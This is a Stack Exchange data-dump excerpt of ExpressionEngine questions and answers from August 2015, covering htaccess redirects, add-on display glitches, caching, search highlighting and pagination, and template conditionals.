  <row Id="32830" PostTypeId="1" CreationDate="2015-08-27T02:39:19.837" Score="2" ViewCount="319" Body="&lt;p&gt;I have a url like this www.example.com/home/ and I cannot get rid of the home folder from the URL. The best I can do results in which causes the page to crash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been working with the htaccess file and tried numerous variations. Seems like it should be a simple fix but I'm having no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to non-htaccess based solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view a copy of the htaccess at &lt;a href=&quot;http://www.spikewebdesign.com.au/htaccess-example.html&quot; rel=&quot;nofollow&quot;&gt;http://www.spikewebdesign.com.au/htaccess-example.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6606" LastEditorUserId="6606" LastEditDate="2015-08-27T04:09:34.583" LastActivityDate="2015-12-15T05:29:09.557" Title="Remove 'home' folder from home page url" Tags="|htaccess|redirects|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32831" PostTypeId="1" CreationDate="2015-08-27T12:08:18.450" Score="0" ViewCount="124" Body="&lt;p&gt;I have made redirection old url to new one using the redirection but status show the following&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;h2&gt;302 Found&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;Status:    302 Found&#xA;  Code:  302&#xA;  Date:  Thu, 27 Aug 2015 12:01:37 GMT&#xA;  Content-Type:  text/html&#xA;  Connection:    close&#xA;  Set-Cookie:    exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22page404%22%3B%7D; path=/&#xA;  X-Powered-By:   PHP/5.5.9-1ubuntu4.11&#xA;  Location:  &lt;a href=&quot;http://www.collegenews.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.collegenews.com/&lt;/a&gt;&#xA;  Server:    cloudflare-nginx&#xA;  CF-RAY:    21c79f6fc727270e-FRA &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How to make 302 into the 301.&lt;/p&gt;&#xA;" OwnerUserId="6447" LastActivityDate="2015-08-27T12:08:18.450" Title="301 redirection works but status showing 302, how to fix this?" Tags="|redirection|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32832" PostTypeId="1" CreationDate="2015-08-27T13:11:02.677" Score="0" ViewCount="27" Body="&lt;p&gt;I updated Wygwam to the most recent version (3.3.3) and now the icons in the toolbar all got messed up. I tried re-uploading the themes folder, and emptying the cache, but no luck so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/apwcG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/apwcG.png&quot; alt=&quot;A screenshot from the toolbar&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2015-08-28T13:12:38.927" Title="Weird icons in Wygwam" Tags="|wygwam|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32833" PostTypeId="2" ParentId="32832" CreationDate="2015-08-27T13:17:49.313" Score="0" Body="&lt;p&gt;EE version? And do you have a custom theme? What accessories do you have installed? They can inject CSS/JS into your CP pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Chrome or Firefox, right click on one of the mal-positioned icons, and look at the CSS rulesets applied to the icon. See what CSS asset file is messing with your icon elements.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-27T13:17:49.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32834" PostTypeId="2" ParentId="32832" CreationDate="2015-08-27T14:10:49.073" Score="0" Body="&lt;p&gt;don't just overwrite on the upgrade. Delete everything from the theme directory, then clear the cache, then try to load an entry page with Wygwam, then reupload the files and refresh the page&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-08-27T14:10:49.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32835" PostTypeId="1" CreationDate="2015-08-27T14:50:15.687" Score="0" ViewCount="37" Body="&lt;p&gt;I've been working with Stash and Mustash on every single one of my EE projects. What I usually do, is caching my detail-pages to a bundle. So sorta like, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache bundle=&quot;products&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I then go and look at my cached variables inside this bundle, I get stuff like &lt;code&gt;product/1:cache&lt;/code&gt; or &lt;code&gt;product/2:cache&lt;/code&gt;. Which is good, as each possible detail-page has it's own stash variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my most recent project though, I use the same workflow, and get this instead: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[index]:cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is not good. This is not unique, so everytime I visit a detail-page in this bundle, it's always exactly the same as the first one viewed and stuffed as a stash variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The big difference in this project is that I've updated it from 2.1.2 to 2.10. I've never used Stash and Mustash on EE2.10 before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening? And how can I fix this? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3830" LastActivityDate="2015-08-27T14:50:15.687" Title="Mustash cache issue in EE2.10" Tags="|stash|cache|mustash|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32836" PostTypeId="1" CreationDate="2015-08-27T15:07:54.570" Score="-2" ViewCount="267" Body="&lt;p&gt;How can I highlight the keyword in a search result?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:results highlight=&quot;yes&quot; backspace=&quot;5&quot;}&#xA;    &amp;lt;p&amp;gt;&#xA;        {excerpt}&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;br/&amp;gt;                   &#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But highlight is not working..&lt;/p&gt;&#xA;" OwnerUserId="6558" LastEditorUserId="3579" LastEditDate="2015-08-27T16:33:16.260" LastActivityDate="2015-09-18T05:27:01.450" Title="How can I highlight the keyword in a search result?" Tags="|search|css|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32837" PostTypeId="2" ParentId="32836" CreationDate="2015-08-27T15:17:24.490" Score="0" Body="&lt;p&gt;Some quick research shows their isn't an easy answer without noodling some complicated PHP, or writing your own extension that hooks in to the search results. By why bother when this might already be solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/search-summary&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/search-summary&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try that addon. It hasn't been updated recently, but it got the nod from Derek Hogue, who is a very regular and strong member of this community.l&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-27T15:17:24.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32838" PostTypeId="2" ParentId="32836" CreationDate="2015-08-27T15:45:11.220" Score="1" Body="&lt;p&gt;There is no highlight function with the native EE search module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to invest in Low Search which is infinitely better &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2015-08-27T15:45:11.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32840" PostTypeId="1" AcceptedAnswerId="32841" CreationDate="2015-08-27T18:30:22.243" Score="1" ViewCount="29" Body="&lt;p&gt;Since I upgraded from 2.5.5 to 2.10.1, I can no longer edit channel fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attempting to edit channel fields, the edit view displays the fields listed by short name in input tags, instead of by field label in links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears there's some javascript that's hiding the field label instead of the short name, as both are present in the DOM. No idea where it could be coming from, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No errors are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lwvub.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lwvub.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6611" LastEditorUserId="6611" LastEditDate="2015-08-27T18:59:40.010" LastActivityDate="2015-08-27T19:06:18.683" Title="Edit channel fields view displaying short name not field label, with no link to edit" Tags="|control-panel|channel-fields|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32841" PostTypeId="2" ParentId="32840" CreationDate="2015-08-27T19:06:18.683" Score="0" Body="&lt;p&gt;Try disabling Draggable first, then if that doesn't work, NSM Morphine Theme. Be careful, I think there are a few random addons out their that depend on NSM Morhpine Theme. Do your usually due diligence: &lt;strong&gt;Back it up first&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-27T19:06:18.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32843" PostTypeId="1" AcceptedAnswerId="32847" CreationDate="2015-08-27T20:43:47.833" Score="0" ViewCount="37" Body="&lt;p&gt;Is there any way to allow logged out users to favorite an entry? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the purpose of favoriting is to add the entry to their favorites list, but we'd like to use it for 'liking' functionality too for all users irrespective of whether they're a member.&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-28T02:17:48.140" Title="Solspace Favorites for logged out members" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32844" PostTypeId="1" CreationDate="2015-08-27T21:06:19.790" Score="0" ViewCount="34" Body="&lt;p&gt;Is there an HTML to DOCX plugin/module for Expression Engine? I am looking for a solution akin to &lt;a href=&quot;https://devot-ee.com/add-ons/shine-pdf&quot; rel=&quot;nofollow&quot;&gt;Shine PDF&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like to allow users to download PDF or Word doc versions of their content. The reason for a DOCX format is to allow users to edit the content after they have downloaded it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can provide.&lt;/p&gt;&#xA;" OwnerUserId="6352" LastActivityDate="2015-08-27T21:06:19.790" Title="HTML to DOCX Plugin?" Tags="|module|plugin|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32846" PostTypeId="2" ParentId="25473" CreationDate="2015-08-27T21:27:50.797" Score="1" Body="&lt;p&gt;Just add a hidden field name called &lt;strong&gt;checkbox_fields&lt;/strong&gt; with list of all checkbox which you use in Channel Forms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;checkbox_fields&quot; value=&quot;checkbox_field_1|checkbox_field_2|checkbox_field_3&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastEditorDisplayName="user3901" LastEditDate="2016-10-26T20:38:30.927" LastActivityDate="2016-10-26T20:38:30.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32847" PostTypeId="2" ParentId="32843" CreationDate="2015-08-28T02:17:48.140" Score="0" Body="&lt;p&gt;Sorry, that is currently not available. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although we haven't tried this ourselves, if there is an add-on that can &quot;make guest members logged in&quot;, then perhaps you can use that as a workaround to allow guests to mark favorites. Again, never tried this ourselves so can't guarantee this would work.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-28T02:17:48.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32848" PostTypeId="1" CreationDate="2015-08-28T07:21:32.810" Score="0" ViewCount="26" Body="&lt;pre&gt;&lt;code&gt;I want to search content with search keyword and it should navigate to search result page.&#xA;&#xA;Can you please correct them to achieve search functionality in EE either by clicking enter or click searchimage..&#xA;&#xA;&amp;lt;form id=&quot;search&quot; class=&quot;wow fadeInUp&quot; data-wow-duration=&quot;1s&quot; data-wow-delay=&quot;0.2s&quot; action=&quot;search.php&quot; method=&quot;GET&quot; accept-charset=&quot;utf-8&quot;&amp;gt;&#xA;{exp:search:simple_form channel=&quot;news&quot; name=&quot;&quot; result_page=&quot;news/searches&quot;}&#xA;              &amp;lt;input name=&quot;s&quot; type=&quot;text&quot; value=&quot;Search &quot;/&amp;gt; &#xA;              &amp;lt;a onclick=&quot;document.getElementById('search').submit()&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;/images/search.png&quot; alt=&quot;&quot;/&amp;gt;&#xA;              &amp;lt;/a&amp;gt;&#xA;{/exp:search:simple_form}&#xA;            &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6558" LastActivityDate="2016-06-01T19:15:22.010" Title="Search result page navigation by either click enter or click img" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32849" PostTypeId="1" CreationDate="2015-08-28T07:49:07.263" Score="1" ViewCount="67" Body="&lt;p&gt;I have recently started working on EE (ex WordPress guy). I am using version ExpressionEngine2.10.1. I did not developed the site, I am just debugging and resolving issues. It is a multi-language site www.gripgrab.com. The site shows a big picture with caption in the subpage &lt;strong&gt;Local heroes/cycling&lt;/strong&gt;. However, in the Dutch version the sub-page &lt;strong&gt;local-heroes/cycling&lt;/strong&gt; is not showing the top-picture. Pls. see &lt;a href=&quot;http://www.gripgrab.com/nl/local-heroes/cycling&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.gripgrab.com/nl/local-heroes/cycling&lt;/a&gt;. I checked many times on the template manager and I can see that the picture (actually a slider with only one img) is embedded but it's not showing in the browser. I checked also with the inspector in Chrome and I saw that I am missing the &amp;lt;li&amp;gt; tag of the slider. I have attached a screenshot, pls. see line 351. Is it an embedding problem? Why all the other languages show the img with the exception of Dutch? I would really appreciate your help. &lt;a href=&quot;https://i.stack.imgur.com/tT5Su.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tT5Su.png&quot; alt=&quot;screen shot inspector Chrome&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6523" LastEditorUserId="6523" LastEditDate="2015-08-28T08:14:57.827" LastActivityDate="2015-08-28T08:14:57.827" Title="Hero picture showing in all pages (languages) with the exception of one page (Dutch)" Tags="|image|embeds|image-path|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32850" PostTypeId="2" ParentId="32848" CreationDate="2015-08-28T12:08:45.897" Score="0" Body="&lt;p&gt;Uhhh.. &lt;code&gt;submit()&lt;/code&gt; is a jQuery bind, not native JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.your-img-class').click(function(){&#xA;    $('submit[name=&quot;your_submit_button_name&quot;]').submit();&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-28T12:08:45.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32851" PostTypeId="1" CreationDate="2015-08-28T12:33:54.060" Score="0" ViewCount="29" Body="&lt;p&gt;I've been trying the following without luck. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search Form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; {exp:low_search:form query=&quot;{segment_3}&quot; result_page=&quot;search/results&quot;}&#xA;&amp;gt; &amp;lt;input type=&quot;search&quot; name=&quot;keywords&quot; placeholder=&quot;Search a word...&quot;&amp;gt;  &#xA;&amp;gt; &amp;lt;select class=&quot;form-control&quot; name=&quot;collection&quot; id=&quot;collection&quot;&amp;gt;&#xA;&amp;gt;     &amp;lt;option value=&quot;&quot; selected=&quot;selected&quot;&amp;gt;Show results from&amp;lt;/option&amp;gt;&#xA;&amp;gt;     &amp;lt;option value=&quot;1&quot;&amp;gt;Collection 1&amp;lt;/span&amp;gt;)&amp;lt;/option&amp;gt;&#xA;&amp;gt;     &amp;lt;option value=&quot;2&quot;&amp;gt;Collection 2&amp;lt;/option&amp;gt;   &amp;lt;/select&amp;gt;   &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot;&amp;gt;Search&amp;lt;/button&amp;gt;&#xA;&amp;gt; {/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Results page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results query=&quot;{segment_3}&quot; limit=&quot;50&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;{if low_search_collection_id == &quot;1&quot;}&#xA;&amp;lt;p&amp;gt;show this&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;&amp;lt;p&amp;gt;show this&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2181" LastActivityDate="2016-06-05T05:48:37.020" Title="Does low_search_collection_id work in conditionals?" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32852" PostTypeId="2" ParentId="32832" CreationDate="2015-08-28T13:12:38.927" Score="2" Body="&lt;p&gt;Looks like the image was still in the Nexcess CDN cache. I forgot to purge that one.&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2015-08-28T13:12:38.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32853" PostTypeId="2" ParentId="32851" CreationDate="2015-08-28T13:34:24.990" Score="0" Body="&lt;p&gt;Yes, that should definitely work for keyword searches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't, check if the variable actually generates output, along with any other &lt;code&gt;{low_search_x}&lt;/code&gt; variables. If that doesn't generate output, then there could be an extension conflict. Disable all extensions, &lt;em&gt;except&lt;/em&gt; Low Search and try again. If that solves the problem, one of the other extensions isn't checking for &lt;code&gt;ee()-&amp;gt;extensions-&amp;gt;last_call&lt;/code&gt; and/or not returning the correct value in the &lt;code&gt;channel_entries_query_result&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above doesn't help, submit a support request here: &lt;a href=&quot;https://getsatisfaction.com/low&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/low&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-08-28T13:34:24.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32854" PostTypeId="1" CreationDate="2015-08-28T14:56:19.547" Score="0" ViewCount="54" Body="&lt;p&gt;Pagination is not working in my search result page.&#xA;Below is my code.&#xA;can anyone correct this??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:search_results backspace=&quot;5&quot; limit=&quot;2&quot; paginate=&quot;both&quot;}&#xA;&#xA;    {title}&amp;lt;br/&amp;gt;&#xA;    {excerpt}&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;&#xA;            Page {current_page} of {total_pages} pages {pagination_links}&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6558" LastEditorUserId="3579" LastEditDate="2015-08-28T15:23:22.147" LastActivityDate="2015-08-28T15:23:22.147" Title="Pagination not working in search" Tags="|search|pagination|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32855" PostTypeId="1" CreationDate="2015-08-28T19:41:23.847" Score="0" ViewCount="52" Body="&lt;p&gt;I trying have a &lt;strong&gt;SQL query&lt;/strong&gt; pass some information to a &lt;strong&gt;playa&lt;/strong&gt;.&#xA;I can fetch the entry ID and even the field output, but can't pass to &lt;code&gt;exp:playa:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a cleaned up snippet of the call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT DISTINCT entry_id AS id FROM exp_channel_data WHERE entry_id IN (100,101,102)&quot;}&#xA;    {exp:playa:children var_prefix=&quot;widget&quot; entry_id=&quot;{id}&quot;}&#xA;        {embed=&quot;widget/{widget:channel_short_name}&quot; entry_id=&quot;{widget:entry_id}&quot;}&#xA;    {/exp:playa:children}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The playa call isn't successfully embedding the templates. I can however grab the playa field directly, but I would have to manually parse it.&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="7087" LastEditDate="2017-05-06T21:55:25.783" LastActivityDate="2017-05-06T21:55:25.783" Title="How to pass sql entry_ids to playa?" Tags="|playa|sql|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32856" PostTypeId="2" ParentId="32855" CreationDate="2015-08-28T19:49:46.890" Score="1" Body="&lt;p&gt;Turn on template debugging, you should be able to see if the entry id is being passed correctly to the playa tag.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-28T19:49:46.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32857" PostTypeId="2" ParentId="32855" CreationDate="2015-08-28T19:52:54.277" Score="0" Body="&lt;p&gt;You didn't properly close your playa tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-28T19:52:54.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32858" PostTypeId="2" ParentId="32855" CreationDate="2015-08-29T03:38:11.707" Score="1" Body="&lt;p&gt;The Query is good. Setting issue unique to my setup on the database itself. Once DB issue was taken care of, everything worked out.&lt;/p&gt;&#xA;" OwnerUserId="2270" LastActivityDate="2015-08-29T03:38:11.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32859" PostTypeId="1" CreationDate="2015-08-29T11:12:14.080" Score="0" ViewCount="50" Body="&lt;p&gt;In the docs if I want the search to include all of the words it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the ampersand as the separator like this: pie&amp;amp;&amp;amp;cheese.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use it, it defaults with a &quot;+&quot; not &quot;&amp;amp;&quot; so how do I change in the search form? It works in the URL (If I change manually) so this is all I need to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Guy&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2016-05-27T21:03:41.033" Title="In Solspace Superseach Use the ampersand as the separator like this: pie&amp;&amp;cheese" Tags="|solspace|supersearch|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32860" PostTypeId="1" CreationDate="2015-08-29T13:10:38.290" Score="0" ViewCount="1551" Body="&lt;p&gt;I recently got an SSL for my website and I'm trying to set up a htaccess so whenever someone joins the site it automatically takes them to the secure version of the site, but whenever I upload my htaccess with the code containing the redirect I got the too many redirect error, this is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteCond %{SERVER_PORT} 80&#xA;RewriteRule ^(.*)$ https://www.scryptedhosting.com/$1 [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code for some reason results in a too many redirect loop, can anyone help as to why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely&#xA;Tom.&lt;/p&gt;&#xA;" OwnerUserId="6615" LastEditorUserId="55" LastEditDate="2015-08-29T15:02:43.430" LastActivityDate="2020-04-17T13:02:20.333" Title="Too many redirects error (htaccess)" Tags="|error|htaccess|redirects|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32861" PostTypeId="2" ParentId="32860" CreationDate="2015-08-29T14:17:33.377" Score="0" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^www.domain.com [NC]&#xA;RewriteRule (.*) https://www.domain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you know if there is a load balancer in front of your servers?&lt;/p&gt;&#xA;" OwnerUserId="315" LastEditorUserId="115" LastEditDate="2015-08-30T09:10:07.603" LastActivityDate="2015-08-30T09:10:07.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32863" PostTypeId="1" AcceptedAnswerId="32864" CreationDate="2015-08-30T09:11:01.147" Score="1" ViewCount="133" Body="&lt;p&gt;How can I check that the current user is the author of the post? Something like this?...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if author_id=&quot;CURRENT_USER&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(My setup is basically an entries loop, with a snippet inside of that containing all the variables to display each entry. Within that I want to conditionally show an embedded include which holds a delete form. So basically I only want to show the delete form for entries which are authored by the current user. Got it all working okay, just need the conditional now.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-31T14:09:48.500" Title="Use conditional to check that the current user is the author of the post" Tags="|conditionals|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32864" PostTypeId="2" ParentId="32863" CreationDate="2015-08-30T13:16:14.170" Score="2" Body="&lt;p&gt;Compare to the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#member-id&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;member_id&lt;/code&gt;&lt;/a&gt; global variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_id == author_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#alternative-syntax&quot; rel=&quot;nofollow&quot;&gt;alternative syntax&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_id == author_id}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just remember that global variables are parsed at the end of parsing stages. So, the content inside the conditional will bee removed only after all previous &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;parsing stages&lt;/a&gt;. Because of that, you &lt;strong&gt;should not&lt;/strong&gt; put an embed inside it.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-08-31T14:09:48.500" LastActivityDate="2015-08-31T14:09:48.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32865" PostTypeId="2" ParentId="32836" CreationDate="2015-08-30T22:18:57.607" Score="0" Body="&lt;p&gt;There isn't a highlight parameter on the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/search/index.html&quot; rel=&quot;nofollow&quot;&gt;search module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can use a &lt;a href=&quot;https://github.com/EllisLab/Search-Hilite/&quot; rel=&quot;nofollow&quot;&gt;first party add-on&lt;/a&gt; available on EllisLab github account.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-08-30T22:18:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
